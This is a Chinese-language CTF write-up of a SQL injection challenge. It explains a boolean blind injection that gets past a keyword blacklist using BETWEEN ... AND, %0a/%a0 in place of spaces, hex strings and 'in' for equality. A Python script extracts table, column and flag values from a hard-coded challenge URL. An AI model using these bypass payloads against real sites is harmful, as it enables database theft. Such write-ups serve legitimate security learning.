emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。
尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。
如果没有查到内容的话就返回:想让我下面给你吃?
通过测试一下发现过滤的关键字有:
' " + = union , < > * 空格 sleep ^ mid ascii like regexp information_schema.tables
(这是我发现的。这个名单并不全)
根据上面的名单我发现只能通过布尔盲注。
下面介绍一下between and 的知识点。
数据库名前两位:se
通过上两个图说明:当select的值在between之间就会返回1,而且前面选择出来的词语会按照顺序匹配,第一个匹配正确的话就会匹配第二个。可以通过一位一位来爆库。但是把数据库跑出来以后后面继续加上空格还是会显示1。
然后就能够写脚本了。写脚本的时候得注意一下,还有几点得注意下,单引号过滤掉可以使用16进制,另外information_schema.tables被过滤可以使用information_schema%0a.tables这样去绕过。
%a0和%0a都是代表空格。用来绕过空格的过滤。
最后,附上我的菜鸡脚本。
import requests as rq
url='http://58.87.124.66:4657/show.php?id='
flag=""
header={
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0'
}
# res=rq.get(url)
# print res.text
# exit()
c=""
for i in range(1,40):
for a in range(33,128):
b=str(hex(a))
# id="if((select%a0database()%a0between%a00x"+c+b[2:4]+"%a0and%a00x7e),1,2)" #web
# id="if((select%0a(select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.tables%0awhere%0atable_schema%0abetween%0a0x776562%0aand%0a0x776562)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7a),1,2)" #ADMIN,FLAGGG,MENU
# id="if((select%a0(Select%a0group_concat(column_name)%a0from%a0information_schema%a0.columns%a0where%a0table_name%a0between%a00x464c41474747%a0and%a00x464c41474747)%a0between%a00x"+c+b[2:4]+"%0aand%0a0x7a),1,2)" #ID,F1AGG
id="if((select%0a(select%0af1agg%0afrom%0aflaggg)%0abetween%0a0x"+c+b[2:4]+"%0aand%0a0x7e),1,2)"
# print id
# params={'id':id}
url1=url+id
res=rq.get(url1)
# print res.url
# print res.text.encode('gbk')
# exit()
if "20" in res.text:
c+=str(hex(a-1))[2:4]
flag+=str(chr(a-1))
print flag
break
# FLAG{5D6352163C30BA51F1E2C0DD08622428}
还有就是脚本中不能用rq.get(url,pars=pas)来个get传参。因为那用传参的话,python会自动自动进行url编码。会导致出现黑名单里的东西。
也可以把if(0,1,2)换成-1 or (语句)
对了,等号可以用in来绕过。
我的脚本有点问题。跑出来的都是大写,其实人家都是小写。(这个问题我不知道如何解决。哎,菜鸡的烦恼。。。)